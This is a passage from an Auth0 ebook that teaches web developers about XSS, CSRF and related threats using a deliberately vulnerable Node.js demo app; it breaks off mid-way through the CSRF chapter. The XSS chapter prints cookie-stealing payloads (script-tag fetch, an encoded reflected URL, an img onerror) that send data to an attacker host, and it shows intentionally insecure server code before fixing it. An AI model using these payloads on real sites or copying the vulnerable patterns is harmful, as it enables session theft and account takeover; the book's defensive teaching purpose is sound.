Ebook Security For Web Developers

Security for Web
Developers
A Practical Tour in Five Examples
by Andrea Chiarelli
EBOOK
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2 Security for Web Developers
Contents
Introduction 05
The Web: From Content to Development Platform 06
Web Applications and Security 07
The Most Common Web Application Threats 08
The Book Organization 09
Cross-Site Scripting 10
What Is XSS? 11
XSS in Action 12
Post-mortem Analysis 18
Types of XSS 22
XSS Defense: Working on Untrusted data 28
XSS Defense: The Content Security Policy 33
Summary 42
Cross-Site Request Forgery (CSRF) 44
What Is CSRF? 45
CSRF in Action 46
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Contents
CSRF Defenses Strategies 54
Validating Requests 54
Validating Requests Origin 61
Summary 65
Clickjacking 67
What Is Clickjacking? 68
Types of Clickjacking Attacks 68
Clickjacking in Action 69
Prevent Clickjacking Attacks 77
Summary 88
Third-Party Assets Security Risks 89
Third-Party Assets Risks 90
Best Practices to Mitigate Risks 91
Keeping Risk Mitigation Under Control 95
Summary 101
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Contents
HTTPS Downgrade Attacks 102
What Is an HTTPS Downgrade Attack 103
Using Content Security Policy 105
Using HSTS 106
Preloading Strict Transport Security 107
Web APIs and HTTPS Downgrade Attacks 108
Summary 110
Where To Go Next 111

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Introduction
“Know your enemy and know yourself, find naught in fear for 100 battles.
Know yourself but not your enemy, find level of loss and victory. Know not
thy enemy nor yourself, wallow in defeat every time.”
--Sun Tzu, The Art of War, Chap. III - Strategic Attack

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As a developer, there’s a good chance that your work is intimately engaged

with the Web. Whether you build Single Page Applications (SPAs), server-
rendered apps, or purely backend APIs, the Web gives incredible power and
a great responsibility. No matter how you’re involved in web development,
you can’t ignore the significance of security in the applications you build.
Web security is a vast and constantly evolving topic, just like web
technologies themselves. Among your duties as a professional web
developer, you must be aware of the dangers to which the applications you
create may be exposed and apply appropriate solutions to protect them.
This book will drive you through a hands-on exploration of a few of the most
notorious threats that can affect web applications. Reading it will not make
you a security expert but will let you understand how those threats work in
practice and how you can write better code to secure your applications. By
reading the examples brought by the book, you’ll become more aware of
the web threats’ dynamics. Hopefully, it will become easier for you to adopt
a security by design mindset. i.e., an approach that makes you think of
security at each step of your application development.
The Web: From Content to Development

Platform
The role of the Web has changed since it was invented in the early ‘90s.
Initially, it was primarily intended as a content management system: a
tool to share and link static documents. The HTTP protocol and the HTML
language were enough to accomplish these modest goals, and security
issues were mainly limited to managing access to confidential documents.
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The demand for interactivity, the entry of JavaScript, and the introduction
of dynamic page generation technologies have totally changed the primary
use of the Web. It has evolved from a simple content management system
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to the backbone of software and human connection. This transition has

continuously brought new challenges, with security concerns chief among
them. Running dynamic code on both the client and the server is the norm.
The modern paradigm brings benefits but also pitfalls.
Web Applications and Security

Web application security consists of measures that protect a website or
web application from external attacks that may lead to data loss, denial of
service, privacy violation, etc.
When you deploy a web application, it is potentially available to

everyone. You can’t make any assumptions about the users (authorized or
unauthorized) who will access it. You should assume by default that your
application is exposed to any possible security risk.
Three key concepts should be clear to you when analyzing your application
security:
• Threats are incidents that can potentially harm your application. Think of
them as external processes that your application must defend against.
• Vulnerabilities are weaknesses in your application that attackers can

exploit. They can depend on design flaws or bugs - not just in your
code, but also its dependencies. Deficiencies can also exist at the
infrastructure level, such as insecure protocols or network issues.
• Risks are the potential damage your application can suffer when a
threat exploits a vulnerability. You can think of risks as the intersection
of threats and vulnerabilities.
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Using the metaphor proposed by the quote at the beginning of this chapter,
threats are your enemy’s weapons, and vulnerabilities are your weakness.
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You have to know both to face the battle and make decisions with a
calculated risk.
Learning how security attacks work is the first pass to avoid them.
The Most Common Web Application Threats

It is not possible to make a complete list of potential threats to which a web
application is exposed. The constantly-shifting state of web security means
that there are too many variables at play. However, there are well-known
threats that you should be aware of.
The Open Web Application Security Project (OWASP), the online

community devoted to spreading knowledge and awareness about web
security, tracks the most common security risks for web applications in its
OWASP Top Ten. This document intends to create security awareness in
the developer audience by detailing the ten most critical security risks. It
represents an excellent first step towards creating a security culture in the
developers’ community.
The Book Organization

This book complements the security culture promoted by OWASP by
showing some of the most common web development security threats in
detail, along with typical prevention measures. Each chapter is dedicated
to one threat and provides you with working examples of vulnerable
applications. Using these examples, you’ll learn the “behind the scenes”
details of each threat and how to remediate the application’s vulnerability.
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The applications discussed in the book are built using the Node.js ecosystem.
However, the concepts explained are independent of the programming
language and development framework used.
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Throughout the book, I’ll address the following threats:
• Cross-Site Scripting (XSS): this chapter will show you one of the
most common attacks based on code injection. You will learn how XSS
attacks work and the measures you can apply to prevent them.
• Cross-Site Request Forgery (CSRF): CRFS attacks aim at performing

unauthorized operations exploiting your identity. You will learn how it
can happen and how to remediate this threat.
• Clickjacking: in this chapter, you will learn visual tricks that make users
click a user interface element that performs actions on another website.
• Third-Party Assets Security Risks: Your application’s vulnerabilities

may also come from third-party dependencies your code relies on. This
chapter explains how it can happen and how you can mitigate this risk.
• HTTPS Downgrade Attacks: In this chapter, you will learn how attackers
can downgrade HTTPS connections to unencrypted HTTP traffic.
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Cross-site Scripting
“The art of war teaches us to rely not on the likelihood of the enemy’s
not coming, but on our own readiness to receive him; not on the
chance of his not attacking, but rather on the fact that we have made
our position unassailable.”
- Sun Tzu, The Art of War, Chap. VIII - Variations and Adaptability
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Cross-Site Scripting
Cross-Site Scripting is one of the most common attacks based on
code injection. Although it’s a well-known type of attack by name, few
developers genuinely understand how it works. If you don’t understand its
mechanisms, then it is much more difficult to defend against. This chapter
will teach what an XSS attack is and defensive techniques. You will achieve
this goal by inspecting an XSS-vulnerable application and then updating the
code to fix the vulnerability.
What Is XSS?
A Cross-Site Scripting attack (also known as XSS attack) involves injecting
code into a legitimate and trusted website using input for non-code
information. The actors involved in an XSS attack are:
• The vulnerable website: a website with a vulnerability that allows code

injection (XSS vulnerability).
• The victim: a user of the vulnerable website, the actual target of the
attack.
• The attacker: a user who injects the malicious code, typically in

JavaScript, into the vulnerable website.
The attacker uses the vulnerable website as a vector to deliver their

malicious script to the actual victim: the user of the vulnerable website.
The victim’s browser will execute the injected JavaScript code without the
user’s knowledge.
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At first glance, this may seem not so critical. After all, JavaScript typically
has no direct access to the user’s system with modern, updated browsers.
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However, JavaScript can access quite a bit of sensitive data related to the
website the user is browsing. This data could include cookies, security
tokens, and more. Importantly, JavaScript can send data to arbitrary
servers and manipulate the DOM of the current page.
These possibilities may be very harmful to your website or web application,

as you will learn in a moment.
XSS in Action
To better understand how XSS attacks work, you will set up an environment
with all the elements to reproduce a simplified version of the attack. To run
this environment, you just need Node.js installed on your machine.
Although the example shown in this chapter uses Node.js as a server runtime,
be aware that XSS attacks are not related to a specific server-side technology.
The principles you will learn can be applied to any technology like ASP.NET,
PHP, Django, etc. In addition, since XSS attacks involve JavaScript, your client-
side code is affected too.
Set up the environment
To obtain the playground environment for experiencing an XSS attack

firsthand, download the sample project from GitHub by running this
command in a terminal window:
git clone https://github.com/auth0-blog/xss-sample-app.git

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Now, move into the project’s root folder and install the project’s
dependencies by running the following command:
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npm install
Finally, launch the vulnerable website by running this command:
npm start
Point your browser to the htttp://localhost:3000 address. You should see

the following page:
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The project implements a specific movie page of a fictitious movie

streaming website. Users can add a movie review by simply filling in the
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text box and clicking the submit button. For simplicity, assume that users
have already been authenticated, and this is just one specific step in the
user’s journey on the website.
When you add your review, you see it appear in the comments section.
Other users can see your review too.
Now that the vulnerable website is up and running, launch the attacker’s
website typing this command in the project’s root folder:
npm run start-attacker
To ensure that it runs correctly, point a new tab of your browser to the
http://localhost:4000 address. You should see the following page:
This website captures private data from the vulnerable website by

exploiting its cross-site scripting vulnerabilities.
Let’s see the attack in action.

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Injecting the malicious code
Now, assume you are the attacker visiting the streaming website and,
instead of adding a review to the movie, you insert the following string in
the review text box:
<script>fetch(`http://localhost:4000?data=${encodeURIComponent(window.
location.search)}`)</script>
As you can see, this is a script element containing a JavaScript statement

that sends an HTTP request to the attacker’s website. That HTTP request is
passing the current search query parameters.
Using the <script> element is just one example of how you can inject your
JavaScript code. You can perform code injection using various HTML tags.
Be aware that other XSS injection techniques involve CSS, direct JavaScript
code, etc.
After submitting this string, you will get the following result in the page of
the vulnerable website:
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At the bottom of the page, you will find an empty comment. This may seem
harmless. However, if you reload the attacker’s website, you will see that it
grabbed your current query string:
This isn’t the actual XSS attack since you (the attacker) just sent your own
data to yourself. This step has just illustrated the preparation for the attack
itself.
The actual attack
The actual attack happens when another user accesses that page of the
vulnerable website. To simulate a different user, open another browser tab
in incognito mode (or an instance of a different browser). Then navigate to
the vulnerable website and add a new review for the movie.
You will notice that nothing strange happens on the vulnerable website.
Your review is appended right below the empty one. However, try to reload
the attacker’s website. You will see your new review below the previous
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one:
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Your review has been captured by the attacker without you even realizing it.
You may think that capturing reviews isn’t particularly interesting since
the review is public anyway. But consider what may happen if you, as the
attacker, drop the following code snippet as your review on the movie:
<script>fetch(`http://localhost:4000?data=${document.cookie}`)<script>
If the vulnerable website developer has taken no precautions to secure

the cookies, you will capture the current user’s cookies. This means
capturing users’ sessions and enabling access to the vulnerable website
via impersonation. Other users’ browser storage is also at risk. If they are
storing their access token in the browser, you (as the attacker) now have
the opportunity to access resources on their behalf!
Does that seem dangerous enough?

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Post-mortem Analysis
So, what vulnerability in the sample streaming website did the attacker
exploit to intercept the user’s data?
Let’s take a look at the code of the vulnerable website. It is a Node.js

application that uses Express as a web framework, and its entry point is
the server.js file. Of course, this application’s code is intentionally naive,
just to highlight the core principles behind the attack. Nevertheless, be
aware that the same kind of vulnerability may arise even in a much more
sophisticated codebase.
The example presented in this chapter is based on Node.js and Express.

However, remember that XSS attacks are independent of any specific
technology. The same principles you will learn in this analysis are also
applicable to a different server-side technology.
The content of the server.js file looks like the following:
// server.js
const express = require(“express”);
const session = require(‘express-session’);
const fs = require(‘fs’);
const port = 3000;
const app = express();
let reviews = [];

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app.use(express.static(‘public’));
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app.use(session({
secret: ‘my-secret’,
resave: true,
saveUninitialized: true,
cookie: {
httpOnly: false
}));
app.get(‘/’, function (req, res) {
if (req.query.newReview) reviews.push(req.query.newReview);
const formattedReviews = reviews.map((review)=> `<dt>User</dt><dd>${review}</
dd>`).join(‘ ‘);
const template = fs.readFileSync(‘./templates/index.html’, ‘utf8’);
const view = template.replace(‘$reviews$’, formattedReviews);
res.send(view);
});
app.listen(port, () => console.log(`The server is listening at http://
localhost:${port}`));
Let’s focus on the relevant point of this investigation: how the server
handles the website page’s request. In the code above, it is represented by
the app.get() handler. Basically, when the server receives the request, it
performs the following steps:
1. It adds the new review to the reviews array.
2. It creates a formatted string by joining the reviews array items.

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3. It loads an HTML template from a file.

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4. It replaces the $reviews$ placeholder with the formatted string.
5. It sends the result to the user’s browser in the HTTP response.
The relevant part of the HTML template for the movie page looks as follows:

<!DOCTYPE html>
<html lang=en>
<head>

</head>
<body>

<section id=”comments”>
<form>
<fieldset>
<textarea name=”newReview” cols=”80” rows=”5” placeholder=”Add your
review”></textarea>
<button type=”submit”>Submit</button>
</fieldset>
</form>
<hr>
<h2>Comments</h2>
<dl>
$reviews$ // risky statement
</dl>
</section>
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</body>
</html>
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Here, the main reason for the XSS vulnerability lies in the lack of
sanitization of the data sent by the user. Data is accepted as it is
sent, without any control over its validity and security. In this case, the
placeholder highlighted in the code snippet above is replaced with the
reviews sent by the user without any validity checks. Since the attacker’s
review is valid HTML code and there is no sanitization, the user’s browser
interprets the attacker’s review as code, injecting it into the HTML without
any apparent visual changes.
There is also another weakness in the server.js file code. Let’s take a
closer look at it:
// server.js
// ...existing code...
app.use(session({
resave: true,
cookie: {
httpOnly: false // risky configuration
}));
The standout section in server.js is the configuration of the cookies for

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the session. Even if it is not strictly related to XSS attacks, the httpOnly:
false setting allows JavaScript to capture the user’s session data. It’s a
good practice to keep httpOnly: true for session cookies.
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Types of XSS
The attack illustrated and analyzed above is just one possible way to inject
malicious content into a web application. In this case, the attacker injects
the code into the website, which stores it and unintentionally distributes
it to any user. In the example you analyzed, the malicious JavaScript code
is stored in the reviews variable shared among the vulnerable website’s
users. In most real-life cases, that code is typically stored in a database.
That’s why this particular XSS attack example is called Stored XSS or
Persistent XSS.
Security experts classify XSS attacks into three categories: Stored XSS,
Reflected XSS, and DOM-based XSS. You will see that they work slightly
differently, but the core principle is the same: injecting a malicious piece of
code to steal confidential data from the user through a trusted website.
Stored XSS
As I mentioned, the previous XSS attack uses a snippet of malicious

code stored on the server side. This code remains active until someone
explicitly removes it. It may affect a single user or many users, depending
on the visibility of the injected code. For example, in the case of the sample
streaming website, comments are public, so all users are affected, whereas
code injected into a restricted area of a site won’t affect everyone.
To recap the example of attack you’ve seen above, these are the typical
steps for a Stored XSS attack:
1. The attacker visits the vulnerable website and injects the malicious code.
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2. The malicious code is persisted on the server.
3. The user visits the vulnerable website and runs the malicious code.
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Reflected XSS
In a Stored XSS attack, the user receives the malicious code from the
vulnerable website’s response to a legitimate request. In a Reflected
XSS attack, the malicious code is included in the user’s request to the
vulnerable website. In other words, in this case, it’s not the attacker
injecting the malicious code into the vulnerable website but the victim.
The attacker’s burden is to provide the user with a malicious code link. This
can be accomplished in many different ways: publishing it on a website,
including it in an e-mail, sharing it on a social network, and more.
Let’s see what the flow of a typical Reflected XSS attack is:
1. The user visits the attacker’s website (or receives an e-mail, etc.) and
clicks on a link.
2. The user is redirected to the vulnerable website with the malicious code
encoded in the URL parameters.
3. The user unintentionally injects and runs the malicious code as an effect
of visiting the vulnerable website.
To try this type of attack yourself, go back to your browser and

reload the sample attacker website by typing the address http://
localhost:4000/?mode=reflected. This time, the attacker website should
look like this:
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The only new thing is a Visit this website! link below the title. If you click
that link, you will be redirected to the streaming website. Looking at the
address bar of your browser, you will notice the following link:
http://localhost:3000/?newReview=%3Cscript%3Efetch%28%60http%3A%2F%2Flocal
host%3A4000%3Fdata%3D%24%7Bdocument.cookie%7D%60%29%3C%2Fscript%3E
It has the newReview parameter in the query string, and this parameter is
assigned the encoded version of the script element you saw before. This
URL exploits the sample website’s vulnerability to add the malicious code
as a standard movie review.
Just by accessing the streaming website, you’ve added a new empty

comment, and your session cookie has been sent to the attacker’s website.
You can verify this by reloading the attacker’s website. You should now see
your cookie under “I stole this data.”
Maybe you may think that a more skilled user may notice the suspicious
parameter in the malicious URL before clicking on the link. Consider,
however, that the attacker could also hide the malicious code by using an
URL shortening service or various other tricks.
DOM-based XSS
While the Stored and Reflected XSS attacks involve the server, a DOM-
based XSS attack involves only the browser and the DOM manipulation
operated via JavaScript. Consider the following flow:
1. The user visits the attacker’s website or receives a link from the attacker.
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2. The user is redirected to the vulnerable website with an URL containing

the malicious code.
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3. The vulnerable website receives the request and provides the page but
doesn’t process the malicious code.
4. The client-side JavaScript accesses the malicious code and runs it on

the user’s browser.
In this case, the malicious code is intended for the client-side code.
JavaScript processes the input to perform some DOM manipulation to run
the malicious code without involving the server.
As a practical example, point again your browser to the sample streaming

website, insert the following string in the search box, and click the Go
button:
<img src=”noimage” onerror=fetch(`http://localhost:4000?data=${document.cookie}`)/>
You will see a broken image on the results page as in the following picture:
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Don’t worry if you do not get any results. It’s by design!

Remember that this is just an example to show how XSS works.
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This broken image is the means used by the attacker to steal your session
cookie. As usual, you can confirm this by reloading the attacker’s website.
To understand what happened, take a look at the index.html file in the

templates folder. The following is the relevant markup for the search box
and the results section:
<!DOCTYPE html>
<html lang=en>
<head>
</head>
<body>
<section>
<h1>The Vulnerable Movie Center</h1>
<hr class=”thin”>
<form id=”search-form” onsubmit=”return search()”>
<input id=”keyword” type=”text” class=”thin” placeholder=”Search a
movie”><button type=”submit” class=”thin”>Go</button></form>
<hr>
</section>
<section id=”search-result”>
You searched for <span id=”search-term”></span>
<p>Waiting for server’s response...</p>
</section>

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</body>
</html>
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This is the search() JavaScript function that processes the keyword and
gets the results from the server:
function search() {
const searchResult = document.getElementById(“search-result”);
const searchTerm = document.getElementById(“search-term”);
const keyword = document.getElementById(“keyword”);
const movieData = document.getElementById(“movie-data”);
const comments = document.getElementById(“comments”);
movieData.style.visibility = “hidden”;
comments.style.visibility = “hidden”;
searchResult.style.display = “block”;
searchTerm.innerHTML = keyword.value; // risky statement
//fetching results related to the keyword value from the server
return false;
As you can see, the function gets the input inserted by the user via the
keyword element and assigns its value to the searchTerm element as
immediate feedback. Then it should query the server and show the results,
but this part is omitted for simplicity. The big mistake here is directly
assigning the user’s input to the innerHTML property of the searchResult
element directly. This causes the rendering of the fake image injected in
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the search box, which in turn triggers the execution of the onerror handler.
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You may wonder why the <img> tag has been used here instead of the
<script> tag as in the previous examples. Well, this is because, by HTML5
specs, a <script> block assigned to the innerHTML property of an element
will not be executed.
XSS Defense: Working on Untrusted data

Now that you have a clearer understanding of how Cross-Site Scripting
attacks work, the next step is learning how to protect your application
from them. You may have realized that the main reason for having an XSS
vulnerability is the lack of data validation. The primary defense against XSS
attacks is not trusting user input. You have two primary strategies:
• Validate user input: You must make sure that all the data entered by
the user is as you expect it to be. Use validation functions, regular
expressions, and whatever prevents the user from sending you data in
an unexpected format. Sanitize user input or reject it. Also, be sure to
validate user input both on the client and on the server side.
• Escape untrusted output: As you learned, showing data to the user

is the primary means to execute the injected malicious code. Even if
you validated the user input, don’t trust it too much. Combine input
validation with output escaping so user’s browsers won’t interpret it as
code.
You can perform data validation and output escaping on your own. However,
like many security practices, this may be a daunting undertaking. You run
the risk of incompletely accomplishing these goals, not to mention wasting
time to reinvent the wheel. Instead, you should rely on established libraries
and template engines. For example, for the sample project of the vulnerable
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streaming site, you could use the EJS template library instead of roughly
replacing placeholders in the HTML markup.
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Let’s take a look at how you can fix the XSS vulnerability of the sample
project by applying these defenses. The first step is to add the EJS
template library to the project by running the following command:
npm install ejs
Then, rename the index.html file under the templates folder to index.
ejs. The extension change enables EJS to interpret it as a template. Now,
replace the $reviews$ placeholder in the index.ejs file with the EJS
expression shown below:

<!DOCTYPE html>
<html lang=en>
<head>
</head>
<body>
<section id=”comments”>
<form>
<fieldset>
<textarea name=”newReview” cols=”80” rows=”5” placeholder=”Add your
review”></textarea>
<button type=”submit”>Submit</button>
</fieldset>
</form>
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<hr>
<h2>Comments</h2>
<dl>
<% reviews.forEach(review => { %> // new code

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<dt>User</dt><dd><%= review %></dd>
<% }); %>
</dl>
</section>
</body>
</html>
Finally, apply a few changes to the server.js file as shown in the following:
// server.js
const port = 3000;
let reviews = [];
app.set(‘views’, ‘./templates’); // new code
app.set(‘view engine’, ‘ejs’); // new code
app.use(session({
resave: true,
cookie: {
httpOnly: true
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}));
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// changed code
app.get(‘/’, function (req, res) {
if (req.query.newReview) reviews.push(req.query.newReview);
res.render(‘index’, {reviews});
});
// changed code
app.listen(port, () => console.log(`The server is listening at
http://localhost:${port}`));
The changes highlighted above enable the streaming web application to

use the EJS template engine and avoid XSS code injection in the users’
reviews. Please, check out the official documentation to learn more about
EJS.
To correctly manage the other vulnerability point in your site (the search
box), take a closer look at the current code of the search() function
within the index.ejs template. In particular, you should ask yourself if you
actually need to use the innerHTML property to give feedback to the user.
In this specific case, it indeed is not necessary. You can get the same result
without the XSS risks by using the innerText property, as shown below:
function search() {

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searchTerm.innerText = keyword.value; // new code
//fetching results related to the keyword value from the server
return false;
The innerHTML property is an HTML sink, that is, a potentially dangerous

point that needs attention. You should avoid using sinks unless strictly
necessary. Using the innerText property prevents a string from being
interpreted as HTML and triggering the XSS attack.
You may notice that we did not use data validation to protect both
vulnerability points. In this case, this choice is because the user input
has no specific format for you to control and validate. In general, the
combination of both approaches ensures better protection.
Once you apply these changes, reload the streaming website in your
browser and try to inject the code you saw above as a comment and in the
search box:
<img src=”noimage” onerror=fetch(`http://localhost:4000?data=${document.cookie}`)/>
This time your data shouldn’t be captured by the attacker’s website.
You can find this fixed version of the sample project in the validation-
escaping branch of the GitHub repository. You can download it with the
following command:
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git clone -b validation-escaping https://github.com/auth0-blog/xss-sample-app.git

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While this sample project is based on Node.js, understanding the commonality

of web attack vectors is a valuable skill. I strongly suggest adapting these input
validation and escaping approaches to your favorite server-side programming
framework if it isn’t Node.
XSS Defense: The Content Security Policy

Escaping and validating data may give you a sense of relief that your
application is safe. However, this is just one page. You should ensure that
all possible injection points of your application have been analyzed and
correctly fixed. This may require considerable effort and, anyway, could be
an error-prone task.
As a more robust approach, you can apply the HTTP Content-Security-

Policy (CSP) header to prevent unauthorized code execution. CSP supports
many directives that help you to control how content can be combined in
your HTML page. For the goal of this chapter, you will focus on the script-
src directive that allows you to control where the JavaScript running on
your page can come from.
The general syntax of the HTTP header is pretty simple:
Content-Security-Policy: script-src <sources>;
In this template, <sources> represents a list of strings delimited by single

quotes. Each string specifies an allowed source of JavaScript code for the
current web page.
Let’s start getting acquainted with CSP by putting it immediately to work.

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auth0.com
Enabling CSP
Make sure to use the original code of the sample project in the state before
applying data validation and escaping. Refer to the Set up the environment
section for directions.
In the server.js file, add the following code:
// server.js
let reviews = [];
// new code
app.use(function(req, res, next) {
res.setHeader(“Content-Security-Policy”, “script-src ‘self’;”);
next();
});
// new code
app.use(express.static(‘public’))
This code configures a new middleware in the Express application that

attaches the HTTP CSP header to each request. In this specific case, you
are specifying ’self’ as the authorized script source for any HTML page
of the application. The ’self’ source tells the browser to trust only scripts
coming from the current origin (http://localhost:3000 in the example you
are exploring).
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Specifying the ’self’ source also blocks embedded and inline code
execution. So, any injected HTML code containing an inline script like the
following will not run:
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<script>fetch(`http://localhost:4000?data=${document.cookie}`)</script>
This time, adding the above markup as a comment will not trigger an XSS
injection. The browser will automatically block the code execution. Script
tags embedded in HTML is the most common attack technique for XSS.
Banning them mitigates the risk of XSS considerably.
However, as a side effect of applying the ’self’ source for the script.
src directive, your search function will no longer work. In fact, the code
associated with the search functionality is included in a <script> tag and
triggered by an inline statement. How could you fix this?
You have a few options here.
Enabling inline code
As a first option, you could enable the execution of inline scripts. You can
do this by adding the ’unsafe-inline’ source to the allowed source list,
as in the following example:
res.setHeader(“Content-Security-Policy”, “script-src ‘self’ ‘unsafe-in-
line’”);
next();
});
Of course, this approach enables your search feature but nullifies the
benefit brought by ’self’. So, as you can guess, using the ’unsafe-
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inline’ source is not recommended.

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Using hash codes
Alternatively, CSP allows you the identification of specific trusted code

blocks through their hash code. In the templates/index.html page of the
streaming website project, you have a script block containing the search()
function definition. But you also have an inline JavaScript code:
<form id=”search-form” onsubmit=”return search()”>
movie”><button
type=”submit” class=”thin”>Go</button>
</form>
You need to gather this code into the script block. So, remove the
onsubmit=”return search()” attribute from the search form and
aggregate all code in the script block as follows:
function search() {
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searchTerm.innerHTML = keyword.value;
//querying the server for the keyword value

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return false;
window.onload = function() {
const form = document.getElementById(“search-form”);
form.onsubmit = () => search();
};
Once you modify the index.html page under the template folder, reload
the streaming website. You will find that the search function still doesn’t
work. If you are using Chrome as your browser, in the Dev Tools console,
you will find an error message similar to the following:
Refused to execute inline script because it violates the following Content
Security Policy directive: “script-src ‘self’”. Either the ‘unsafe-inline’
keyword, a hash (‘sha256-/R8iLbj/zzRkKsN1Dh/be9dTImUnl6khUlY3lP0rwTk=’), or a
nonce (‘nonce-...’) is required to enable inline execution.
Take note of the calculated hash code. In the example above, its value
is ’sha256-/R8iLbj/zzRkKsN1Dh/be9dTImUnl6khUlY3lP0rwTk=’ and it
represents the trusted source you are going to add to the CSP header.
Keep in mind that your hash code could be different from the one shown above.
Any minor difference (even whitespace) will change the hash code, so be sure
to use the value provided in Dev Tools.
Once you have the hash code for your script block, change the value of the
CSP header in server.js:
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auth0.com
res.setHeader(“Content-Security-Policy”, “script-src ‘self’
‘sha256-/R8iLbj/zzRkKsN1Dh/be9dTImUnl6khUlY3lP0rwTk=’;”);
next();
});
This CSP header tells the browser to trust only scripts from the current
origin and the script block with that specific hash code. Now the searching
feature should work again.
Using nonce
If you have noticed, the error message provided by Chrome Dev Tools
suggests another possible solution to enable script blocks. It mentions you
can provide a nonce. The nonce alternative is based on a random value
sent by the server and matching the value specified in the nonce attribute
of the script block. For example, suppose the server sends the CSP header
as shown below:
const ramdomValue = generateRandomValue();
res.setHeader(“Content-Security-Policy”, `script-src ‘self’ ‘nonce-
${ramdomValue}’;``);
next();
});
Assuming that the value of randomValue is abc123, you should add the
following nonce attribute to your <script> block:
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<script nonce=”abc123”>
...
</script>
In practice, this is another way to identify script blocks in the HTML page,
and its behavior on the client side is very similar to the hash code approach.
Trusting only external scripts
Both the hash-based and nonce-based defenses are demanding to

maintain. You need to generate a new hash whenever you change your
scripts, and you are required to create random nonces for each request.
Otherwise, the attacker can use your nonces to legitimize their malicious
code.
A far better approach is to move all the JavaScript code outside the HTML
markup and treat it as a resource for your page. For this purpose, move the
content of the script block you centralized before into a new search.js file
in the public folder. The file’s content should look like the following:
// public/js/search.js
function search() {

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auth0.com
searchTerm.innerHTML = keyword.value;
//querying the server for the keyword value
return false;
window.onload = function() {
const form = document.getElementById(“search-form”);
form.onsubmit = () => search();
};
Now, replace the whole script block in the templates/index.html file

with a script element that refers to the search.js file. The relevant markup
should look like the following:
<!DOCTYPE html>
<html lang=en>
<head>
<script src=”js/search.js”></script> // changed code
</head>
<body>
<section>
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<h1>The Vulnerable Movie Center</h1>
<hr class=”thin”>
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<form id=”search-form”>
movie”>
<button type=”submit” class=”thin”>Go</button>
</form>
<hr>
</section>
</body>
</html>
Once all your JavaScript code lives outside the markup of your HTML page,
you should trust only your current origin as the source of your code. In
other words, the server needs to provide the browser with only ’self’ as
the allowed source for the script-src directive via CSP - just as you did
when first applying a Content Security Policy:
res.setHeader(“Content-Security-Policy”, “script-src ‘self’;”);
next();
});
This approach delegates the burden to the browser to check if a piece

of code is allowed to execute or not and makes your code easier to
maintain. Making secure development maintainable is a crucial concern
when developing applications. The nonce and hash code techniques
make updating code difficult with more complex applications. If a secure
development approach challenges a team considerably, they will disregard
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or work around them.

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You can find the sample project fixed by applying CSP in the csp branch of
the GitHub repository. You can download it with the following command:
git clone -b csp https://github.com/auth0-blog/xss-sample-app.git
Summary
This chapter introduced you to XSS vulnerabilities that may affect your web
applications. It concretely showed how XSS attacks work and provided
practical defense techniques.
You discovered the three types of XSS:
• Stored XSS, based on a snippet of malicious code stored on the server

side.
• Reflected XSS, based on malicious code included in the user’s request

to the vulnerable website.
• DOM-based XSS, whose attacks involve the browser and the DOM
manipulation via JavaScript instead of the server-side code.
You learned that the main techniques to XSS defenses are:
• Data validation.
• Output escaping.
• Use of the CSP header.
Also, you learned that avoiding inline JavaScript code and storing it in
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external script files is a best practice for minimizing the burden of a CSP-
based defense.
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Remember that XSS attacks can occur in different forms. The ones
described here are just a few examples. Even the ways to prevent them
may be more complex. Now that you clearly understand XSS fundamentals,
you should have no problems following the OWASP XSS cheat sheet to
protect your applications with the best techniques available.
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auth0.com
Cross-Site Request
Forgery (CSRF)
“Now the reason the enlightened prince and the wise general conquer
the enemy whenever they move and their achievements surpass those
of ordinary men is foreknowledge.”
-Sun Tzu, The Art of War, Chap. XIII - Intelligence and Espionage
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auth0.com
Cross-Site Request Forgery

(CSRF)
Cross-Site Request Forgery attacks can exploit your identity to perform
unauthorized operations on a web application. In this chapter, you will learn
how they work in practice and how you can prevent them by applying a few
defensive strategies. Throughout the chapter, you will play with a sample
vulnerable web application and resolve its vulnerability utilizing different
defensive approaches.
What Is CSRF?
A typical Cross-Site Request Forgery (CSRF or XSRF) attack aims to

perform an operation in a web application on behalf of a user without
their explicit consent. In general, this attack doesn’t directly steal the
user’s identity, but it will exploit the user to act without their will. CSRF
can lead users to change their email address or password associated with
their profile or even perform actions like transferring money through an
application.
In a nutshell, a typical CSRF attack happens as follows:
1. The attacker leads the user to perform an action, like visiting a web
page, clicking a link, or similar.
2. This action sends an HTTP request to a website on behalf of the user.
3. If the user has an active authenticated session on the trusted website,

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the request is processed as a legitimate request sent by the user.

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As you can see, having the website affected by a CSRF vulnerability is not
enough to make the attack successful. The user must also have an active
session on the website. The CSRF vulnerability relies on the authenticated
user’s session management for the trusted application.
Typically, session management in a web application is based on cookies.

With each request to the server, the browser sends the related cookie that
identifies the current user’s session. These requests can appear legitimate
even if the request originates from a different website. This is the issue
exploited by the attacker.
Even though CSRF attacks are commonly associated with session cookies, be
aware that Basic Authentication sessions are also vulnerable to CSRF attacks.
CSRF in Action
So far, you have a high-level idea of what a CSRF attack is. However, to
better understand how it works in practice, let’s see a concrete case of a
vulnerable application.
To run the sample application that comes with this chapter, you just need
Node.js installed on your machine. However, keep in mind that the principles
behind the CSRF vulnerability (along with the remediation strategies) are
independent of the specific programming language or framework.
Let’s set up a playground environment to experience a CSRF attack first-

hand. Download the sample project from GitHub by running this command
in a terminal window:
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git clone https://github.com/auth0-blog/csrf-sample-app.git

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Now, move into the project’s root folder and install the project’s
dependencies by running the following command:
npm install
Finally, launch the vulnerable website by running this command:
npm start
Point your browser to the http://localhost:3000 address. You should see

the following page:
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auth0.com
You may recognize many commonalities between this and the movie
streaming application we repaired in the previous chapter! Using the same
style of website should help you focus on security vulnerabilities instead of
specific functionality.
In summary, the sample project implements a page of a fictitious movie

streaming website. Only registered users can add their review to the movie
by filling in the text box and clicking the submit button. In fact, if you try to
add a comment right now, nothing will happen.
For simplicity, the project doesn’t implement any actual authentication

process since our focus is more on the issues that occur after a user is
authenticated and has a valid session. You can create a simulated user
session by clicking the valid session link right above the submit button.
With that mock session, the page should look like the following:
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auth0.com
As you can see, the warning message detailing the requirement for a
session has disappeared, and a new link Your profile has appeared near the
top right corner of the page. By clicking Your profile, you can manage your
profile which consists of a name and an email address:
Launch the CSRF attack
Now, let’s start the attacker’s website by typing this command in a terminal
window:
Open a new tab of your browser and point it to http://localhost:4000. You

should see a page like the following:
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auth0.com
This is a simple web page with a link that invites you to visit a website.
The attack shown here is based on the user visiting the attacker’s website.
However, the attack may happen in different ways: via email, instant
messaging, social networks, etc.
If you click the link, you are redirected to the user’s profile page on the
movie streaming website. But the navigation to that page is not the only
effect. The user’s data has been replaced with the attacker’s data:
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auth0.com
